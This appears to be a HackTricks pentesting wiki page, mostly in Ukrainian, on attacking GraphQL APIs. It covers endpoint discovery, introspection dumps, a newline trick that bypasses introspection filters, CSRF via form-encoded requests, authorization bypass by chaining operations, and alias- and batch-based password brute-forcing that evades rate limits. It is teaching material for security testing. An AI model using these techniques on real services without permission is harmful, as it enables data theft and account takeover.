GraphQL

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

Introduction

GraphQL є підкресленим як ефективна альтернатива REST API, пропонуючи спрощений підхід для запитів даних з бекенду. На відміну від REST, який часто вимагає численних запитів через різні кінцеві точки для збору даних, GraphQL дозволяє отримувати всю необхідну інформацію через один запит. Це спрощення значно вигідно для розробників, зменшуючи складність їх процесів отримання даних.

GraphQL and Security

З появою нових технологій, включаючи GraphQL, також виникають нові вразливості безпеки. Ключовим моментом є те, що GraphQL за замовчуванням не включає механізми аутентифікації. Відповідальність за впровадження таких заходів безпеки лежить на розробниках. Без належної аутентифікації кінцеві точки GraphQL можуть розкривати чутливу інформацію неаутентифікованим користувачам, що становить значний ризик для безпеки.

Directory Brute Force Attacks and GraphQL

Щоб виявити відкриті екземпляри GraphQL, рекомендується включити специфічні шляхи в атаки грубої сили на директорії. Ці шляхи:

  • /graphql

  • /graphiql

  • /graphql.php

  • /graphql/console

  • /api

  • /api/graphql

  • /graphql/api

  • /graphql/graphql

Виявлення відкритих екземплярів GraphQL дозволяє перевірити підтримувані запити. Це важливо для розуміння даних, доступних через кінцеву точку. Система інтроспекції GraphQL полегшує це, детально описуючи запити, які підтримує схема. Для отримання додаткової інформації про це зверніться до документації GraphQL з інтроспекції: GraphQL: A query language for APIs.

Fingerprint

Інструмент graphw00f здатний виявити, який движок GraphQL використовується на сервері, а потім виводить корисну інформацію для аудитора безпеки.

Universal queries

Щоб перевірити, чи є URL сервісом GraphQL, можна надіслати універсальний запит, query{__typename}. Якщо відповідь містить {"data": {"__typename": "Query"}}, це підтверджує, що URL містить кінцеву точку GraphQL. Цей метод спирається на поле __typename GraphQL, яке розкриває тип запитуваного об'єкта.

query{__typename}

Основна Перерахунка

Graphql зазвичай підтримує GET, POST (x-www-form-urlencoded) та POST(json). Хоча для безпеки рекомендується дозволяти лише json, щоб запобігти атакам CSRF.

Інтроспекція

Щоб використовувати інтроспекцію для виявлення інформації про схему, запитайте поле __schema. Це поле доступне на кореневому типі всіх запитів.

query={__schema{types{name,fields{name}}}}

За допомогою цього запиту ви знайдете назву всіх типів, що використовуються:

query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofType{name, kind}}}}}}}

Цей запит дозволяє витягнути всі типи, їх поля та аргументи (а також типи аргументів). Це буде дуже корисно для розуміння того, як запитувати базу даних.

Помилки

Цікаво знати, чи помилки будуть показані, оскільки вони нададуть корисну інформацію.

?query={__schema}
?query={}
?query={thisdefinitelydoesnotexist}

Перерахунок схеми бази даних через інспекцію

Якщо інспекція увімкнена, але вищезазначений запит не виконується, спробуйте видалити директиви onOperation, onFragment та onField зі структури запиту.

#Full introspection query

query IntrospectionQuery {
__schema {
queryType {
name
}
mutationType {
name
}
subscriptionType {
name
}
types {
...FullType
}
directives {
name
description
args {
...InputValue
}
onOperation  #Often needs to be deleted to run query
onFragment   #Often needs to be deleted to run query
onField      #Often needs to be deleted to run query
}
}
}

fragment FullType on __Type {
kind
name
description
fields(includeDeprecated: true) {
name
description
args {
...InputValue
}
type {
...TypeRef
}
isDeprecated
deprecationReason
}
inputFields {
...InputValue
}
interfaces {
...TypeRef
}
enumValues(includeDeprecated: true) {
name
description
isDeprecated
deprecationReason
}
possibleTypes {
...TypeRef
}
}

fragment InputValue on __InputValue {
name
description
type {
...TypeRef
}
defaultValue
}

fragment TypeRef on __Type {
kind
name
ofType {
kind
name
ofType {
kind
name
ofType {
kind
name
}
}
}
}

Запит інтроспекції в рядку:

/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}

Останній рядок коду є запитом graphql, який виведе всю метаінформацію з graphql (імена об'єктів, параметри, типи...)

Якщо інтроспекція увімкнена, ви можете використовувати GraphQL Voyager для перегляду всіх опцій у графічному інтерфейсі.

Запит

Тепер, коли ми знаємо, який тип інформації зберігається в базі даних, давайте спробуємо витягти деякі значення.

В інтроспекції ви можете знайти який об'єкт ви можете безпосередньо запитати (оскільки ви не можете запитати об'єкт лише тому, що він існує). На наступному зображенні ви можете побачити, що "queryType" називається "Query", і що одне з полів об'єкта "Query" - це "flags", який також є типом об'єкта. Отже, ви можете запитати об'єкт прапора.

Зверніть увагу, що тип запиту "flags" - це "Flags", і цей об'єкт визначається нижче:

Ви можете побачити, що об'єкти "Flags" складаються з name та value. Тоді ви можете отримати всі імена та значення прапорів за допомогою запиту:

query={flags{name, value}}

Зверніть увагу, що якщо об'єкт для запиту є примітивним типом, таким як рядок, як у наступному прикладі

Ви можете просто запитати його за допомогою:

query={hiddenFlags}

В іншому прикладі, де було 2 об'єкти всередині об'єкта типу "Query": "user" та "users". Якщо цим об'єктам не потрібні аргументи для пошуку, можна отримати всю інформацію з них, просто попросивши дані, які вам потрібні. У цьому прикладі з Інтернету ви могли б витягти збережені імена користувачів та паролі:

Однак у цьому прикладі, якщо ви спробуєте це зробити, ви отримаєте цю помилку:

Схоже, що якимось чином він буде шукати, використовуючи аргумент "uid" типу Int. У будь-якому випадку, ми вже знали, що в розділі Basic Enumeration було запропоновано запит, який показував нам всю необхідну інформацію: query={__schema{types{name,fields{name, args{name,description,type{name, kind, ofType{name, kind}}}}}}}

Якщо ви прочитаєте зображення, надане, коли я запускав цей запит, ви побачите, що "user" мав аргумент "uid" типу Int.

Отже, виконуючи легкий uid брутфорс, я виявив, що в uid=1 було отримано ім'я користувача та пароль: query={user(uid:1){user,password}}

Зверніть увагу, що я виявив, що можу запитати параметри "user" та "password", тому що якщо я спробую шукати щось, що не існує (query={user(uid:1){noExists}}), я отримую цю помилку:

І під час фази перерахунку я виявив, що об'єкт "dbuser" має поля "user" та "password.

Трюк з вивантаженням рядка запиту (дякую @BinaryShadow_)

Якщо ви можете шукати за рядковим типом, наприклад: query={theusers(description: ""){username,password}} і ви шукаєте порожній рядок, це вивантажить всі дані. (Зверніть увагу, що цей приклад не пов'язаний з прикладом з навчальних посібників, для цього прикладу припустимо, що ви можете шукати, використовуючи "theusers" за рядковим полем під назвою "description").

Пошук

У цій конфігурації база даних містить осіб та фільми. Особи ідентифікуються за їх електронною поштою та іменем; фільми - за їх іменем та рейтинговою оцінкою. Особи можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.

Ви можете шукати осіб за іменем і отримувати їх електронні адреси:

{
searchPerson(name: "John Doe") {
email
}
}

Ви можете шукати осіб за іменем і отримати їхні підписані фільми:

{
searchPerson(name: "John Doe") {
email
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Зверніть увагу, як вказано отримати name з subscribedMovies особи.

Ви також можете шукати кілька об'єктів одночасно. У цьому випадку виконується пошук 2 фільмів:

{
searchPerson(subscribedMovies: [{name: "Inception"}, {name: "Rocky"}]) {
name
}
}r

Або навіть відносини кількох різних об'єктів за допомогою псевдонімів:

{
johnsMovieList: searchPerson(name: "John Doe") {
subscribedMovies {
edges {
node {
name
}
}
}
}
davidsMovieList: searchPerson(name: "David Smith") {
subscribedMovies {
edges {
node {
name
}
}
}
}
}

Mutations

Мутації використовуються для внесення змін на стороні сервера.

У інтроспекції ви можете знайти оголошені мутації. На наступному зображенні "MutationType" називається "Mutation", а об'єкт "Mutation" містить назви мутацій (як "addPerson" у цьому випадку):

У цій конфігурації база даних містить осіб та фільми. Особи ідентифікуються за їх електронною поштою та іменем; фільми за їх іменем та рейтинговою оцінкою. Особи можуть бути друзями один з одним і також мати фільми, що вказує на відносини в базі даних.

Мутація для створення нових фільмів у базі даних може виглядати як наступна (у цьому прикладі мутація називається addMovie):

mutation {
addMovie(name: "Jumanji: The Next Level", rating: "6.8/10", releaseYear: 2019) {
movies {
name
rating
}
}
}

Зверніть увагу, як у запиті вказані як значення, так і тип даних.

Крім того, база даних підтримує операцію mutation, названу addPerson, яка дозволяє створювати persons разом з їх асоціаціями до існуючих friends та movies. Важливо зазначити, що друзі та фільми повинні існувати в базі даних до того, як їх можна буде зв'язати з новоствореною особою.

mutation {
addPerson(name: "James Yoe", email: "jy@example.com", friends: [{name: "John Doe"}, {email: "jd@example.com"}], subscribedMovies: [{name: "Rocky"}, {name: "Interstellar"}, {name: "Harry Potter and the Sorcerer's Stone"}]) {
person {
name
email
friends {
edges {
node {
name
email
}
}
}
subscribedMovies {
edges {
node {
name
rating
releaseYear
}
}
}
}
}
}

Directive Overloading

Як пояснено в одній з вразливостей, описаних у цьому звіті, перевантаження директиви передбачає виклик директиви навіть мільйони разів, щоб змусити сервер витрачати ресурси, поки його не буде можливо DoS.

Batching brute-force in 1 API request

Цю інформацію було взято з https://lab.wallarm.com/graphql-batching-attack/. Аутентифікація через GraphQL API з одночасною відправкою багатьох запитів з різними обліковими даними для перевірки. Це класична атака методом перебору, але тепер можливо відправити більше ніж одну пару логін/пароль за один HTTP запит завдяки функції пакетної обробки GraphQL. Цей підхід обманює зовнішні програми моніторингу швидкості, змушуючи їх думати, що все в порядку і немає бота, що намагається вгадати паролі.

Нижче ви можете знайти найпростішу демонстрацію запиту аутентифікації програми з 3 різними парами електронна пошта/пароль одночасно. Очевидно, що можливо відправити тисячі в одному запиті таким же чином:

Як видно з скріншоту відповіді, перший і третій запити повернули null і відобразили відповідну інформацію в секції error. Другий мутаційний запит містив правильні дані аутентифікації і відповідь має правильний токен сесії аутентифікації.

GraphQL Without Introspection

Все більше graphql кінцевих точок відключають інтроспекцію. Однак помилки, які graphql викидає, коли отримує несподіваний запит, достатні для інструментів, таких як clairvoyance, щоб відтворити більшу частину схеми.

Більше того, розширення Burp Suite GraphQuail спостерігає за запитами GraphQL API, що проходять через Burp і будує внутрішню GraphQL схему з кожним новим запитом, який воно бачить. Воно також може відкрити схему для GraphiQL і Voyager. Розширення повертає фальшиву відповідь, коли отримує запит на інтроспекцію. В результаті GraphQuail показує всі запити, аргументи та поля, доступні для використання в API. Для отримання додаткової інформації перевірте це.

Гарний словник для виявлення суб'єктів GraphQL можна знайти тут.

Bypassing GraphQL introspection defences

Щоб обійти обмеження на запити інтроспекції в API, вставка спеціального символу після ключового слова __schema виявляється ефективною. Цей метод експлуатує загальні недоліки розробників у шаблонах regex, які намагаються заблокувати інтроспекцію, зосереджуючись на ключовому слові __schema. Додаючи символи, такі як пробіли, нові рядки та коми, які GraphQL ігнорує, але які можуть не враховуватися в regex, можна обійти обмеження. Наприклад, запит на інтроспекцію з новим рядком після __schema може обійти такі захисти:

# Example with newline to bypass
{
"query": "query{__schema
{queryType{name}}}"
}

Якщо не вдалося, розгляньте альтернативні методи запитів, такі як GET запити або POST з x-www-form-urlencoded, оскільки обмеження можуть застосовуватися лише до POST запитів.

Спробуйте WebSockets

Як згадувалося в цьому виступі, перевірте, чи можливо підключитися до graphQL через WebSockets, оскільки це може дозволити вам обійти потенційний WAF і змусити комунікацію через вебсокети витікати схему graphQL:

ws = new WebSocket('wss://target/graphql', 'graphql-ws');
ws.onopen = function start(event) {
var GQL_CALL = {
extensions: {},
query: `
{
__schema {
_types {
name
}
}
}`
}

var graphqlMsg = {
type: 'GQL.START',
id: '1',
payload: GQL_CALL,
};
ws.send(JSON.stringify(graphqlMsg));
}

Виявлення Відкритих Структур GraphQL

Коли інспекція вимкнена, перевірка вихідного коду веб-сайту на наявність попередньо завантажених запитів у бібліотеках JavaScript є корисною стратегією. Ці запити можна знайти за допомогою вкладки Sources у інструментах розробника, що надає інформацію про схему API та виявляє потенційно відкриті чутливі запити. Команди для пошуку в інструментах розробника такі:

Inspect/Sources/"Search all files"
file:* mutation
file:* query

CSRF в GraphQL

Якщо ви не знаєте, що таке CSRF, прочитайте наступну сторінку:

CSRF (Cross Site Request Forgery)

Ви зможете знайти кілька GraphQL кінцевих точок налаштованих без CSRF токенів.

Зверніть увагу, що запити GraphQL зазвичай надсилаються через POST запити з використанням Content-Type application/json.

{"operationName":null,"variables":{},"query":"{\n  user {\n    firstName\n    __typename\n  }\n}\n"}

Однак більшість GraphQL кінцевих точок також підтримують form-urlencoded POST запити:

query=%7B%0A++user+%7B%0A++++firstName%0A++++__typename%0A++%7D%0A%7D%0A

Тому, оскільки CSRF запити, як і попередні, надсилаються без попередніх запитів, можливо виконати зміни в GraphQL, зловживаючи CSRF.

Однак зверніть увагу, що нове значення за замовчуванням куки для прапора samesite у Chrome - Lax. Це означає, що куки будуть надсилатися лише з веб-сайту третьої сторони в GET запитах.

Зверніть увагу, що зазвичай можливо надіслати запит запиту також як GET запит, і токен CSRF може не перевірятися в GET запиті.

Також, зловживаючи XS-Search атака, може бути можливим ексфільтрувати вміст з кінцевої точки GraphQL, зловживаючи обліковими даними користувача.

Для отримання додаткової інформації перевірте оригінальний пост тут.

Викрадення WebSocket між сайтами в GraphQL

Подібно до вразливостей CRSF, зловживаючи graphQL, також можливо виконати викрадення WebSocket між сайтами, щоб зловживати аутентифікацією з GraphQL з незахищеними куками і змусити користувача виконувати несподівані дії в GraphQL.

Для отримання додаткової інформації перевірте:

WebSocket Attacks

Авторизація в GraphQL

Багато функцій GraphQL, визначених на кінцевій точці, можуть перевіряти лише аутентифікацію запитувача, але не авторизацію.

Модифікація змінних вхідних запитів може призвести до витоку чутливих даних облікового запису leaked.

Мутація може навіть призвести до захоплення облікового запису, намагаючись змінити дані іншого облікового запису.

{
"operationName":"updateProfile",
"variables":{"username":INJECT,"data":INJECT},
"query":"mutation updateProfile($username: String!,...){updateProfile(username: $username,...){...}}"
}

Обхід авторизації в GraphQL

Зв'язування запитів разом може обійти слабку систему аутентифікації.

У наведеному нижче прикладі ви можете побачити, що операція - "forgotPassword" і що вона повинна виконувати лише запит forgotPassword, пов'язаний з нею. Це можна обійти, додавши запит в кінець, у цьому випадку ми додаємо "register" і змінну користувача, щоб система зареєструвалася як новий користувач.

Обхід обмежень швидкості за допомогою псевдонімів у GraphQL

У GraphQL псевдоніми є потужною функцією, яка дозволяє явно називати властивості під час виконання запиту API. Ця можливість особливо корисна для отримання декількох екземплярів одного типу об'єкта в одному запиті. Псевдоніми можна використовувати для подолання обмеження, яке заважає об'єктам GraphQL мати кілька властивостей з однаковим ім'ям.

Для детального розуміння псевдонімів GraphQL рекомендується наступний ресурс: Псевдоніми.

Хоча основна мета псевдонімів полягає в зменшенні необхідності в численних викликах API, було виявлено ненавмисний випадок використання, коли псевдоніми можуть бути використані для виконання атак грубої сили на кінцеву точку GraphQL. Це можливо, оскільки деякі кінцеві точки захищені обмежувачами швидкості, призначеними для запобігання атакам грубої сили шляхом обмеження кількості HTTP запитів. Однак ці обмежувачі швидкості можуть не враховувати кількість операцій у кожному запиті. Оскільки псевдоніми дозволяють включати кілька запитів в один HTTP запит, вони можуть обійти такі заходи обмеження швидкості.

Розгляньте наведену нижче ілюстрацію, яка демонструє, як псевдонімовані запити можуть бути використані для перевірки дійсності кодів знижок магазину. Цей метод може обійти обмеження швидкості, оскільки він компілює кілька запитів в один HTTP запит, потенційно дозволяючи перевірити численні коди знижок одночасно.

# Example of a request utilizing aliased queries to check for valid discount codes
query isValidDiscount($code: Int) {
isvalidDiscount(code:$code){
valid
}
isValidDiscount2:isValidDiscount(code:$code){
valid
}
isValidDiscount3:isValidDiscount(code:$code){
valid
}
}

Інструменти

Сканери вразливостей

  • https://github.com/dolevf/graphql-cop: Тестування загальних неправильних налаштувань graphql кінцевих точок

  • https://github.com/assetnote/batchql: Скрипт аудиту безпеки GraphQL з акцентом на виконання пакетних запитів та мутацій GraphQL.

  • https://github.com/dolevf/graphw00f: Визначення графіку, що використовується

  • https://github.com/gsmith257-cyber/GraphCrawler: Інструмент, який можна використовувати для отримання схем та пошуку чутливих даних, тестування авторизації, брутфорс схем та знаходження шляхів до певного типу.

  • https://blog.doyensec.com/2020/03/26/graphql-scanner.html: Може використовуватися як автономний інструмент або розширення Burp.

  • https://github.com/swisskyrepo/GraphQLmap: Може використовуватися як CLI клієнт також для автоматизації атак

  • https://gitlab.com/dee-see/graphql-path-enum: Інструмент, який перераховує різні способи досягнення певного типу в схемі GraphQL.

  • https://github.com/doyensec/GQLSpection: Наступник автономного та CLI режимів InQL

  • https://github.com/doyensec/inql: Розширення Burp для розширеного тестування GraphQL. Сканер є основою InQL v5.0, де ви можете аналізувати кінцеву точку GraphQL або локальний файл схеми інспекції. Він автоматично генерує всі можливі запити та мутації, організуючи їх у структурований вигляд для вашого аналізу. Компонент Атакуючий дозволяє вам виконувати пакетні атаки GraphQL, що може бути корисним для обходу погано реалізованих обмежень швидкості.

  • https://github.com/nikitastupin/clairvoyance: Спробуйте отримати схему навіть з вимкненою інспекцією, використовуючи допомогу деяких баз даних Graphql, які запропонують назви мутацій та параметрів.

Клієнти

Автоматичні тести

Посилання

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Підтримка HackTricks

Last updated